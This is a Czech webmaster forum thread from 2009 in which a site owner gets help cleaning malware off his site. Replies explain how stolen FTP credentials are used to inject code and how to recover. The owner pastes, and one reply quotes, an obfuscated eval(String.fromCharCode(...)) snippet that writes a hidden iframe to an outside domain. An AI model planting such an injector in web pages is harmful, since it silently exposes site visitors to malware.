Virus – pomoc

20. 5. 2009 20:20:45

Zdravím, vyskytl se mi na mojem katalogu virus, vubec nevim jak se tam dostal a už vůbec nevím jak ho odstranit, kde ho mám hledat... jsem celkem v nouzi...

je to www.baget.cz

děkuji za jakoukoli pomoc

20. 5. 2009 20:20:45

https://webtrh.cz/diskuse/virus-pomoc#reply306942

A.L.

(31 hodnocení)

20. 5. 2009 20:24:58

prohledej indexy a hledej v nich iframe

20. 5. 2009 20:24:58

https://webtrh.cz/diskuse/virus-pomoc#reply306941

Jiří Warmuž

(39 hodnocení)

20. 5. 2009 20:33:39

dík asi jsem ho našel, ale je pod tím nějaký divný kód bdue to patřit k tomu ?

echo "";

?>eval(String.fromCharCode(118,97,114,32,116,61,53,59,118,97,114,32,104,106,103,52,61,34,119,111,108,108,34,59,118,97,114,32,119,61,34,97,110,99,101,34,59,118,97,114,32,114,101,54,61,34,46,34,59,118,97,114,32,114,114,116,116,54,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,34,59,118,97,114,32,115,61,34,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,114,97,109,101,32,115,114,99,61,34,104,39,43,115,43,39,112,58,47,47,39,43,104,106,103,52,43,39,39,43,119,43,39,39,43,114,101,54,43,39,39,43,114,114,116,116,54,43,39,47,39,43,39,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,51,34,62,60,47,105,39,43,39,102,39,43,39,114,97,109,101,62,39,41,59,118,97,114,32,119,54,61,56,55,52,57,56,48,48,48,48,48,50,51,52,48))'; ?>

20. 5. 2009 20:33:39

https://webtrh.cz/diskuse/virus-pomoc#reply306940

Webtrh obecný účet

(1 hodnocení)

20. 5. 2009 20:36:37

Napsal Coe;289629
dík asi jsem ho našel, ale je pod tím nějaký divný kód bdue to patřit k tomu ?

echo "";
?>eval(String.fromCharCode(118,97,114,32,116,61,53,59,118,97,114,32,104,106,103,52,61,34,119,111,108,108,34,59,118,97,114,32,119,61,34,97,110,99,101,34,59,118,97,114,32,114,101,54,61,34,46,34,59,118,97,114,32,114,114,116,116,54,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,34,59,118,97,114,32,115,61,34,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,114,97,109,101,32,115,114,99,61,34,104,39,43,115,43,39,112,58,47,47,39,43,104,106,103,52,43,39,39,43,119,43,39,39,43,114,101,54,43,39,39,43,114,114,116,116,54,43,39,47,39,43,39,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,51,34,62,60,47,105,39,43,39,102,39,43,39,114,97,109,101,62,39,41,59,118,97,114,32,119,54,61,56,55,52,57,56,48,48,48,48,48,50,51,52,48))'; ?>

smaž všechno kromě ?>

20. 5. 2009 20:36:37

https://webtrh.cz/diskuse/virus-pomoc#reply306939

Jiří Warmuž

(39 hodnocení)

20. 5. 2009 22:19:09

tak jsem to všude odstranil a pořád bez úspěchu, může to být třeba v databázi ?

20. 5. 2009 22:19:09

https://webtrh.cz/diskuse/virus-pomoc#reply306938

Michal Kurečka

(48 hodnocení)

20. 5. 2009 22:28:26

jak se vlastně dostanou ty viry na stránku? kdo to tam jak vloží?

sorry za to že to není k věci

20. 5. 2009 22:28:26

https://webtrh.cz/diskuse/virus-pomoc#reply306937

drago

(73 hodnocení)

20. 5. 2009 22:31:44

1. virus ti vytáhne data přístupu na FTP z Total Commandera

2. na tvou stránku je díky tomu heslu do indexu a důležitých souborů vložen virus

3. virus se dále šíří

Odstranění:

- odstranění viru

- smazání hesel z TC

- změna hesel na FTP

- odstarnění škodlivého kodu z webu

20. 5. 2009 22:31:44

https://webtrh.cz/diskuse/virus-pomoc#reply306936

Webtrh obecný účet

(1 hodnocení)

20. 5. 2009 22:34:30

Napsal drago;289729
1. virus ti vytáhne data přístupu na FTP z Total Commandera

nejen z Total Commandera, ale taky z File Zilla a dalších ftp programů a z ftp ve windows, pokud si necháváš uložené heslo.

20. 5. 2009 22:34:30

https://webtrh.cz/diskuse/virus-pomoc#reply306935

Jiří Warmuž

(39 hodnocení)

20. 5. 2009 22:34:46

Napsal drago;289729
1. virus ti vytáhne data přístupu na FTP z Total Commandera
2. na tvou stránku je díky tomu heslu do indexu a důležitých souborů vložen virus
3. virus se dále šíří

Odstranění:
- odstranění viru
- smazání hesel z TC
- změna hesel na FTP
- odstarnění škodlivého kodu z webu

dík, ale kde ten škodlivý kód mám všude hledat ? ... mám tam xxx souborů... smazal jsem zatím z indexu a pořád nic ...

jestli dobře chápu musím projít každýý soubor?

20. 5. 2009 22:34:46

https://webtrh.cz/diskuse/virus-pomoc#reply306934

Webtrh obecný účet

(1 hodnocení)

20. 5. 2009 22:37:48

Pokud nemáš komplet zálohu, tak si v každém adresáři seřaď soubory podle poslední změny a uvidíš, které se ti nově změnily, ale bývá to nejen v indexu, každopádně hned po změně změn heslo na ftp

20. 5. 2009 22:37:48

https://webtrh.cz/diskuse/virus-pomoc#reply306933

Jiří Warmuž

(39 hodnocení)

20. 5. 2009 22:41:18

Napsal Premek;289734
Pokud nemáš komplet zálohu, tak si v každém adresáři seřaď soubory podle poslední změny a uvidíš, které se ti nově změnily, ale bývá to nejen v indexu, každopádně hned po změně změn heslo na ftp

no to je paráda zálohu jsem samozřejmě neměl, mě by nikdy nenapadlo, že by se tam pokoušel dostat vir, vždyť to nic nemá tak skvělého...

hesla jsem změníl okamžitě...

už jsem se ponaučil... zálohy raději mít...

20. 5. 2009 22:41:18

https://webtrh.cz/diskuse/virus-pomoc#reply306932

Webtrh obecný účet

(1 hodnocení)

20. 5. 2009 22:47:05

hlavně si ty hesla na ftp neukládej, vždycky si přihlaš sám, ne automaticky přes windows ani žádné programy. A pozor na to, projeď si pořádně PC, mě se před časem třikrát po sobě přepsaly komplet všechny weby virama, i když jsem hesla neukládal a měnil a pomohla mi reinstalace pc, nějakej šmejd mě to heslo odchytával už při psaní. Od té doby jsem při přístupu na ftp značně paranoidní.

20. 5. 2009 22:47:05

https://webtrh.cz/diskuse/virus-pomoc#reply306931

Switch

(7 hodnocení)

20. 5. 2009 22:51:37

Staci mit plne aktualizovany antivirak a do PC se ti to nedostane.

20. 5. 2009 22:51:37

https://webtrh.cz/diskuse/virus-pomoc#reply306930

Jiří Warmuž

(39 hodnocení)

20. 5. 2009 22:55:10

avast je snad dobrej :-) no zítra se na to podívám znova projedu každej soubor není možné... : (

20. 5. 2009 22:55:10

https://webtrh.cz/diskuse/virus-pomoc#reply306929

drago

(73 hodnocení)

20. 5. 2009 22:59:07

Udělal jsem si provizorní scanner. Koukni sem: http://webtrh.cz/showpost.php?p=284578&postcount=106

Switch: to není pravda, měl jsem placenou verzi NOD32, kompletní aktualizace a dostalo se mi to do kompu. Sice to zlikvidoval ale odeslalo to hesla. Potřebuješ i funkční firewall. Od doby co používám Eset Smart Security tak sem neměl problém. Antivirus v dnešní době opravdu není vše.

20. 5. 2009 22:59:07

https://webtrh.cz/diskuse/virus-pomoc#reply306928